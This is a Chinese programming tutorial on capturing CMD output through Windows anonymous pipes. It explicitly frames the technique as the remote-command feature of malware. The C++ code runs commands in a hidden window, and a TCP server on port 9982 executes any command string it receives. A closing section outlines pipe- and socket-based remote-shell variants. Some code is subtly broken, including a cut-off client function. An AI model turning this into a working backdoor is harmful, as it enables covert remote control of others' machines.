使用匿名管道技术获取CMD命令的执行结果

序言

远程 CMD 是指恶意程序接收到控制端发送的 CMD 指令后，在本地执行 CMD 命令，并将执行结果回传至控制端。本文将演示使用匿名管道技术获取 CMD 命令的执行结果。

相关API

CreatePipe：用于创建管道

PeekNamedPipe：用于判断管道中是否有数据存在

ReadFile、WriteFile：用于向管道读取或写入数据

CreateProcess：用于创建CMD子进程，可指定启动信息(STARTUPINFO)

实现原理

管道是一种进程间通信的技术，Window 上进程间通信技术还有文件映射、共享内存、邮槽、剪切板、事件等。

管道分为命名管道和匿名管道：

* 匿名管道只能在父子进程间通信，数据传输单向，不能网络通信；

* 命名管道可在任意进程间通信，数据传输双向，但同一时间只能有一端读写。

由于远程 CMD 中仅仅需要执行 CMD 指令的结果，所以使用匿名管道即可，其使用流程如下：

1. 使用 CreatePipe 创建匿名管道，获取管道数据读取句柄和管道数据写入句柄。

2. 初始化进程结构体，将管道写入句柄赋给新进程控制台窗口的缓存句柄；

3. 使用CreateProcess创建新进程执行CMD命令，并等待命令执行结束；

4. 在循环中使用 PeekNamedPipe 函数判断管道中是否有数据，通过管道读取句柄从缓冲区中获取执行结果。

5. 关闭句柄，释放资源。

编码实现

关键代码
 

 

// 执行 cmd 命令, 并获取执行结果数据
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
   BOOL bRet = FALSE;

   HANDLE hReadPipe = NULL;
   HANDLE hWritePipe = NULL;
   SECURITY_ATTRIBUTES securityAttributes = {0};
   STARTUPINFO si = {0};
   PROCESS_INFORMATION pi = {0};

   // 设定管道的安全属性
   securityAttributes.bInheritHandle = TRUE;
   securityAttributes.nLength = sizeof(securityAttributes);
   securityAttributes.lpSecurityDescriptor = NULL;
   // 创建匿名管道
   bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
   if (FALSE == bRet)
  {
       printf("CreatePipe");
       return false;
  }
   // 设置新进程参数
   si.cb = sizeof(si);
   si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.hStdError = hWritePipe;
   si.hStdOutput = hWritePipe;
   // 创建新进程执行命令, 将执行结果写入匿名管道中
   bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
   if (FALSE == bRet)
  {
       printf("CreateProcess");
       return false;
  }

   // 等待命令执行结束
  ::WaitForSingleObject(pi.hThread, INFINITE);
  ::WaitForSingleObject(pi.hProcess, INFINITE);

   // 不断从匿名管道中读取结果到输出缓冲区
   while (true)
  {
       char buf[2048]{};
       DWORD readbytes = 0;
       DWORD availbytes = 0;

       if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
       if (!availbytes) break;
       if (!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;

       buf[readbytes] = 0;
       outbuf += buf;
  }

   // 关闭句柄, 释放内存
  ::CloseHandle(pi.hThread);
  ::CloseHandle(pi.hProcess);
  ::CloseHandle(hWritePipe);
  ::CloseHandle(hReadPipe);

   return true;
}

 

上面的代码中首先调用 CreatePipe 函数创建匿名管道，并将返回的读写句柄保存到 hReadPipe 和 hWritePipe 变量中。

然后，通过设置STARTUPINFO结构体中的参数，将新进程的标准错误输出和标准输出都重定向到管道中，以便将命令执行结果写入管道中。

接着，调用CreateProcess函数创建新进程，并将命令行命令作为参数传入。

CreateProcess 函数执行成功后，新进程开始执行命令，并将命令执行结果写入管道中，之后通过循环调用 PeekNamedPipe 和 ReadFile 函数，不断从管道中读取数据，并将读取到的数据存储到输出缓冲区中。

最后，代码关闭句柄，释放内存。

测试实现

测试代码

 

int main(int argc, char** argv)
{
   TCHAR cmd_str[] = L"ping 127.0.0.1";

   // 执行 cmd 命令, 并获取执行结果数据
   std::string outbuf;
   if (false == PipeCmd(cmd_str, outbuf))
  {
       printf("pipe cmd error.
");
  }
   else
  {
       printf("CMD执行结果为:
%s
", outbuf.c_str());
  }

   system("pause");
   return 0;
}

 

远程传输

前面仅仅是把 cmd 命令的执行结果获取了，要想实现远程传输，需要加入网络传输部分。

测试

服务端

 

#define PORT 9982
int test_server()
{
   SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

   sockaddr_in bindaddr;
   bindaddr.sin_family = AF_INET;
   bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
   bindaddr.sin_port = htons(PORT);
   bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));

   listen(listenfd, 1);

   sockaddr_in clientaddr;
   int         clientaddrlen = sizeof(SOCKADDR);
   SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);

   char buf[1024]{};
   int  recvbytes = recv(clientfd, buf, 1024, 0);
   if (recvbytes <= 0) return -1;

   std::string outbuf;
   PipeCmd((LPTSTR)buf, outbuf);
   std::cout << outbuf << std::endl;

   closesocket(clientfd);
   closesocket(listenfd);

   return 0;
}

 

客户端

 

int test_client()
{
   SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

   struct sockaddr_in ServerAddr;
   ServerAddr.sin_family = AF_INET;
   ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
   ServerAddr.sin_port = htons(PORT);

   connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));

   TCHAR cmdbuf[100] = _T("ipconfig");
   send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);

   closesocket(connfd);

   return 0;

 

效果

开启服务器后，通过客户端向服务端发送指令，服务端接收到指令后开始处理，最终测试能够正确处理。

小结

上述的远程 CMD 的实现通过一个匿名管道实现的，它是通过直接执行 cmd 命令，从而不需要创建传递命令的管道。远程 CMD 的实现方法还有几种变形方式，比如双管道远程 CMD，和零管道远程 CMD，它们对应的思路就是对 CMD 的输出输入重定向位置进行控制，比如：

双管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为读写管道的句柄。

零管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为 socket 的句柄。

审核编辑：刘清